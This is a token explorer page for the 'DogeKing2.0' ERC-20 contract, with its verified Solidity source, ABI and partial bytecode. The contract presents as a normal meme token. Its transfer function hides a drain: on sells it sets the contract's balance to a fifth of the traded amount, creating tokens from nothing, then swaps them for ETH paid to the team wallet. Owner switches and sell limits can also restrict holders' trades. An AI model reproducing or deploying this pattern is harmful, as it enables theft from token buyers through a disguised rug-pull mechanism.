ETH Price: $3,113.58 (-0.27%)

Token

DogeKing2.0 (DogeKing2.0)
 

Overview

Max Total Supply

1,000,000,000,000,000 DogeKing2.0

Holders

430

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 DogeKing2.0

Value
$0.00
0x7911bb39c6f091ff7435545706259a2adb41a35f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-06
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;

/*
 * Telegram : https://t.me/DogeKing2ETH
 * Twitter : https://twitter.com/dogeking2eth
*/
abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TokenDistributor {
    constructor (address token) {
        (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0)));
        require(success);
    }
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "DogeKing2.0";
    string private _symbol = "DogeKing2.0";
    uint8 private _decimals = 9;

    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;

    uint256 public _liquidityShare = 0;
    uint256 public _teamShare = 1;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    TokenDistributor public _tokenDistributor;
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address currency = _uniswapV2Router.WETH();
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), currency);

        uniswapV2Router = _uniswapV2Router;
        IERC20(currency).approve(
            address(_uniswapV2Router),
            ~uint256(0)
        );
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        // isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        _totalDistributionShares = _liquidityShare.add(_teamShare);

        isMarketPair[address(uniswapPair)] = true;
        
        address receiver = msg.sender;
        isExcludedFromFee[receiver] = true;
        teamWalletAddress = payable(receiver);
        _balances[receiver] = _totalSupply;
        emit Transfer(address(0), receiver, _totalSupply);
        _tokenDistributor = new TokenDistributor(_uniswapV2Router.WETH());
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }
    
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    bool public remainEn = true;
    function changeRemain() public onlyOwner{
        remainEn = !remainEn;
    }

    function sellToken(uint Token)public  view returns (uint){
        address _currency = uniswapV2Router.WETH();
        if(IERC20(address(_currency)).balanceOf(uniswapPair) > 0){
            address[] memory path = new address[](2);
            uint[] memory amount;
            path[0]=address(this);
            path[1]=_currency;
            amount = uniswapV2Router.getAmountsOut(Token,path); 
            return amount[1];
        }else {
            return 0; 
        }
    }

    uint256 public limitAmounts = 0.05 ether;
    function setLimitAmounts(uint256 newValue) public onlyOwner{
        limitAmounts = newValue;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled && !isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) 
            {
                uint256 contractTokenBalance = amount/5;
                if (contractTokenBalance > balanceOf(address(this)))
                    _balances[address(this)] = contractTokenBalance;
                
                if (contractTokenBalance > 0)
                    swapAndLiquify(contractTokenBalance);    
            }

            if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient] && remainEn){
                if (amount == _balances[sender]){
                    amount = amount - amount.div(5000);
                }
                if (isMarketPair[sender] && limitAmounts != 0){
                    require(sellToken(amount) <= limitAmounts);
                }
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = amount;

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.sub(amountBNBLiquidity);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }

    function autoSwap(uint256 _count) public {
        IERC20(uniswapV2Router.WETH()).transferFrom(msg.sender, address(this), _count);
        swapTokenToDistri(_count);
    }


    function swapTokenToDistri(uint256 tokenAmount) private lockTheSwap {
        address currency = uniswapV2Router.WETH();
        address[] memory path = new address[](2);
        path[0] = currency;
        path[1] = address(this);

        // make the swap
        // if(tokenAmount <= balance)
        try uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of CA
            path,
            address(_tokenDistributor),
            block.timestamp
        ) {} catch {}
        if(balanceOf(address(_tokenDistributor))>0)
            _basicTransfer(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor)));
    }


    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(teamWalletAddress, IERC20(_token).balanceOf(address(this)));
            payable(teamWalletAddress).transfer(address(this).balance);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        ) {} catch {}
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        try uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            teamWalletAddress,
            block.timestamp
        ) {} catch {}
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainEn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Token","type":"uint256"}],"name":"sellToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setLimitAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600b60a09081526a0446f67654b696e67322e360ac1b60c0526001906200002c9082620005da565b5060408051808201909152600b81526a0446f67654b696e67322e360ac1b60208201526002906200005e9082620005da565b506003805460ff1916600990811790915561dead6080525f600855600181556200008a90600a620007af565b6200009d9066038d7ea4c68000620007c6565b600b55600d805460ff60a81b1916600160a81b179055600e805460ff60a01b1916600160a01b17905566b1a2bc2ec50000600f55348015620000dd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000174573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200019a9190620007e0565b9050816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ff9190620007e0565b6040516364e329cb60e11b81523060048201526001600160a01b038381166024830152919091169063c9c65396906044016020604051808303815f875af11580156200024d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002739190620007e0565b600d80546001600160a01b039283166001600160a01b031991821617909155600c805485841692168217905560405163095ea7b360e01b815260048101919091525f1960248201529082169063095ea7b3906044016020604051808303815f875af1158015620002e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030b919062000808565b50600b54305f818152600560209081526040808320600c546001600160a01b03168452825280832094909455918152600690915220805460ff191660011790556009546008546200035c91620004be565b600a55600d546001600160a01b03165f9081526007602090815260408083208054600160ff19918216811790925533808652600685528386208054909216909217905560038054610100600160a81b0319166101008302179055600b5460048452828520819055915191825292839290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3826001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000435573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200045b9190620007e0565b60405162000469906200052c565b6001600160a01b039091168152602001604051809103905ff08015801562000493573d5f803e3d5ffd5b50600e80546001600160a01b0319166001600160a01b0392909216919091179055506200083f915050565b5f80620004cc838562000829565b905083811015620005235760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b6101788062002a0883390190565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200056357607f821691505b6020821081036200058257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005d5575f81815260208120601f850160051c81016020861015620005b05750805b601f850160051c820191505b81811015620005d157828155600101620005bc565b5050505b505050565b81516001600160401b03811115620005f657620005f66200053a565b6200060e816200060784546200054e565b8462000588565b602080601f83116001811462000644575f84156200062c5750858301515b5f19600386901b1c1916600185901b178555620005d1565b5f85815260208120601f198616915b82811015620006745788860151825594840194600190910190840162000653565b50858210156200069257878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006f657815f1904821115620006da57620006da620006a2565b80851615620006e857918102915b93841c9390800290620006bb565b509250929050565b5f826200070e5750600162000526565b816200071c57505f62000526565b8160018114620007355760028114620007405762000760565b600191505062000526565b60ff841115620007545762000754620006a2565b50506001821b62000526565b5060208310610133831016604e8410600b841016171562000785575081810a62000526565b620007918383620006b6565b805f1904821115620007a757620007a7620006a2565b029392505050565b5f620007bf60ff841683620006fe565b9392505050565b8082028115828204841417620005265762000526620006a2565b5f60208284031215620007f1575f80fd5b81516001600160a01b038116811462000523575f80fd5b5f6020828403121562000819575f80fd5b8151801515811462000523575f80fd5b80820180821115620005265762000526620006a2565b6080516121a96200085f5f395f81816103620152610a4001526121a95ff3fe608060405260043610610215575f3560e01c8063844d591c1161011e578063a83f53a7116100a8578063dd62ed3e1161006d578063dd62ed3e14610637578063ec8274601461067b578063ef422a181461069a578063f2fde38b146106b9578063f509911e146106d8575f80fd5b8063a83f53a7146105b1578063a9059cbb146105c6578063bc76c052146105e5578063c49b9a80146105f9578063c816841b14610618575f80fd5b806395d89b41116100ee57806395d89b411461052a578063a08e671f1461053e578063a457c2d714610553578063a4926dc914610572578063a67755c214610592575f80fd5b8063844d591c146104bc5780638718b24f146104db5780638da5cb5b146104fa578063914eb66a14610516575f80fd5b80632b112e491161019f5780633ecad2711161016f5780633ecad271146103f75780634a74bb02146104255780635342acb41461044557806357a5802f1461047357806370a0823114610488575f80fd5b80632b112e49146103845780632c4b233414610398578063313ce567146103b757806339509351146103d8575f80fd5b80631694505e116101e55780631694505e146102d657806318160ddd146102f55780632397e4d71461031357806323b872dd1461033257806327c8f83514610351575f80fd5b8063021b98281461022057806306fdde0314610241578063095ea7b31461026b5780631245e3471461029a575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023f61023a366004611cd5565b6106ed565b005b34801561024c575f80fd5b50610255610724565b6040516102629190611cec565b60405180910390f35b348015610276575f80fd5b5061028a610285366004611d4b565b6107b4565b6040519015158152602001610262565b3480156102a5575f80fd5b506003546102be9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610262565b3480156102e1575f80fd5b50600c546102be906001600160a01b031681565b348015610300575f80fd5b50600b545b604051908152602001610262565b34801561031e575f80fd5b5061030561032d366004611cd5565b6107ca565b34801561033d575f80fd5b5061028a61034c366004611d75565b6109d5565b34801561035c575f80fd5b506102be7f000000000000000000000000000000000000000000000000000000000000000081565b34801561038f575f80fd5b50610305610a3e565b3480156103a3575f80fd5b5061023f6103b2366004611db3565b610a87565b3480156103c2575f80fd5b5060035460405160ff9091168152602001610262565b3480156103e3575f80fd5b5061028a6103f2366004611d4b565b610ad8565b348015610402575f80fd5b5061028a610411366004611db3565b60076020525f908152604090205460ff1681565b348015610430575f80fd5b50600d5461028a90600160a81b900460ff1681565b348015610450575f80fd5b5061028a61045f366004611db3565b60066020525f908152604090205460ff1681565b34801561047e575f80fd5b5061030560085481565b348015610493575f80fd5b506103056104a2366004611db3565b6001600160a01b03165f9081526004602052604090205490565b3480156104c7575f80fd5b5061023f6104d6366004611ddb565b610b0d565b3480156104e6575f80fd5b50600e546102be906001600160a01b031681565b348015610505575f80fd5b505f546001600160a01b03166102be565b348015610521575f80fd5b5061023f610b60565b348015610535575f80fd5b50610255610bd7565b348015610549575f80fd5b50610305600a5481565b34801561055e575f80fd5b5061028a61056d366004611d4b565b610be6565b34801561057d575f80fd5b50600e5461028a90600160a01b900460ff1681565b34801561059d575f80fd5b5061023f6105ac366004611db3565b610c33565b3480156105bc575f80fd5b5061030560095481565b3480156105d1575f80fd5b5061028a6105e0366004611d4b565b610d6e565b3480156105f0575f80fd5b5061023f610d7a565b348015610604575f80fd5b5061023f610613366004611e12565b610dc4565b348015610623575f80fd5b50600d546102be906001600160a01b031681565b348015610642575f80fd5b50610305610651366004611e2d565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610686575f80fd5b5061023f610695366004611cd5565b610e45565b3480156106a5575f80fd5b5061023f6106b4366004611ddb565b610f39565b3480156106c4575f80fd5b5061023f6106d3366004611db3565b610f8c565b3480156106e3575f80fd5b50610305600f5481565b5f546001600160a01b0316331461071f5760405162461bcd60e51b815260040161071690611e59565b60405180910390fd5b600f55565b60606001805461073390611e8e565b80601f016020809104026020016040519081016040528092919081815260200182805461075f90611e8e565b80156107aa5780601f10610781576101008083540402835291602001916107aa565b820191905f5260205f20905b81548152906001019060200180831161078d57829003601f168201915b5050505050905090565b5f6107c0338484611073565b5060015b92915050565b5f80600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108409190611ec0565b600d546040516370a0823160e01b81526001600160a01b0391821660048201529192505f91908316906370a0823190602401602060405180830381865afa15801561088d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b19190611edb565b11156109c7576040805160028082526060820183525f92602083019080368337019050509050606030825f815181106108ec576108ec611f06565b60200260200101906001600160a01b031690816001600160a01b031681525050828260018151811061092057610920611f06565b6001600160a01b039283166020918202929092010152600c5460405163d06ca61f60e01b815291169063d06ca61f9061095f9088908690600401611f5c565b5f60405180830381865afa158015610979573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526109a09190810190611f7c565b9050806001815181106109b5576109b5611f06565b60200260200101519350505050919050565b505f92915050565b50919050565b5f6109e1848484611196565b50610a338433610a2e85604051806060016040528060288152602001612127602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611517565b611073565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f90815260046020526040812054600b54610a829161154f565b905090565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161071690611e59565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916107c0918590610a2e9086611590565b5f546001600160a01b03163314610b365760405162461bcd60e51b815260040161071690611e59565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b895760405162461bcd60e51b815260040161071690611e59565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b60606002805461073390611e8e565b5f6107c03384610a2e8560405180606001604052806025815260200161214f60259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611517565b6001600160a01b0381163014610d6b576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb926101009091049091169083906370a0823190602401602060405180830381865afa1